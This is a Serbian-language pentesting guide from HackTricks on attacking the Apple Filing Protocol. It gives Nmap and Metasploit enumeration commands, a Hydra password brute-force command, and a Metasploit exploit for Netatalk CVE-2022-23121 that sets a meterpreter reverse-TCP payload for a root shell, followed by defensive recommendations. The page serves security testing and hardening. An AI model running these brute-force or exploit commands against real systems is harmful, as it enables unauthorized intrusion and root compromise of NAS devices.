548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Apple Filing Protocol (AFP), nekada poznat kao AppleTalk Filing Protocol, je specijalizovani mrežni protokol uključen u Apple File Service (AFS). Dizajniran je da obezbedi usluge datoteka za macOS i klasični Mac OS. AFP se izdvaja po podršci za Unicode imena datoteka, POSIX stil i ACL dozvole, resursne forkove, imenovane proširene atribute i sofisticirane mehanizme zaključavanja datoteka.
Iako je AFP zamenjen SMB-om u modernim macOS izdanjima (SMB je podrazumevani od OS X 10.9), još uvek se susreće u:
- Nasleđenim macOS / Mac OS 9 okruženjima
- NAS uređajima (QNAP, Synology, Western Digital, TrueNAS…) koji uključuju open-source Netatalk demon
- Mrežama mešovitih operativnih sistema gde je Time-Machine-over-AFP još uvek omogućen
Podrazumevani TCP port: 548 (AFP preko TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeracija
Brzi banner / informacije o serveru
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Korisni AFP NSE skripti:
Skripta | Šta radi |
---|---|
afp-ls | Prikazuje dostupne AFP volumene i datoteke |
afp-brute | Brute-force napad na lozinku za AFP prijavu |
afp-serverinfo | Ispisuje ime servera, tip mašine, AFP verziju, podržane UAM-ove, itd. |
afp-showmount | Prikazuje deljenja zajedno sa njihovim ACL-ovima |
afp-path-vuln | Otkriva (i može iskoristiti) napad pretraživanjem direktorijuma, CVE-2010-0533 |
NSE brute-force skripta može se kombinovati sa Hydra/Medusa ako je potrebna veća kontrola:
hydra -L users.txt -P passwords.txt afp://<IP>
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (koristeći afpfs-ng
‑ pakovan u većini distribucija)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Jednom kada je montiran, zapamtite da se klasične Mac resursne forkove čuvaju kao skrivene ._*
AppleDouble datoteke – ove često sadrže zanimljive metapodatke koje DFIR alati propuštaju.
Uobičajene ranjivosti i eksploatacija
Netatalk neautentifikovana RCE lanac (2022)
Nekoliko NAS dobavljača isporučilo je Netatalk ≤3.1.12. Nedostatak provere granica u parse_entries()
omogućava napadaču da kreira zlonamerni AppleDouble header i dobije daljinski root pre autentifikacije (CVSS 9.8 – CVE-2022-23121). Potpuni izveštaj od strane NCC Group sa PoC koji eksploatiše Western-Digital PR4100 je dostupan.
Metasploit (>= 6.3) isporučuje modul exploit/linux/netatalk/parse_entries
koji isporučuje payload putem DSI WRITE
.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Ako cilj koristi pogođeni QNAP/Synology firmware, uspešna eksploatacija donosi shell kao root.
Netatalk OpenSession heap overflow (2018)
Stariji Netatalk (3.0.0 - 3.1.11) je ranjiv na write izvan granica u DSI OpenSession handleru, što omogućava neautentifikovanu izvršavanje koda (CVE-2018-1160). Detaljna analiza i PoC su objavljeni od strane Tenable Research.
Ostali značajni problemi
- CVE-2022-22995 – Symlink preusmeravanje koje dovodi do proizvoljnog pisanja datoteka / RCE kada je AppleDouble v2 omogućena (3.1.0 - 3.1.17).
- CVE-2010-0533 – Prelazak direktorijuma u Apple Mac OS X 10.6 AFP (otkriven od strane
afp-path-vuln.nse
). - Više grešaka u bezbednosti memorije je ispravljeno u Netatalk 4.x (2024) – preporučuje se nadogradnja umesto zakrpa pojedinačnih CVE.
Preporuke za odbranu
- Onemogućite AFP osim ako nije strogo potrebno – koristite SMB3 ili NFS umesto toga.
- Ako AFP mora ostati, nadogradite Netatalk na ≥ 3.1.18 ili 4.x, ili primenite firmware dobavljača koji unazad portuje zakrpe iz 2022/2023/2024.
- Sprovodite Jake UAM-ove (npr. DHX2), onemogućite prijave u čistom tekstu i gostujuće prijave.
- Ograničite TCP 548 na pouzdane podmreže i obavijte AFP unutar VPN-a kada je izložen na daljinu.
- Periodično skenirajte sa
nmap -p 548 --script afp-*
u CI/CD da uhvatite rogue / downgraded uređaje.
Brute-Force
Reference
- Netatalk Security Advisory CVE-2022-23121 – "Izvršavanje proizvoljnog koda u parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "Eksploatacija greške starije od 18 godina (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.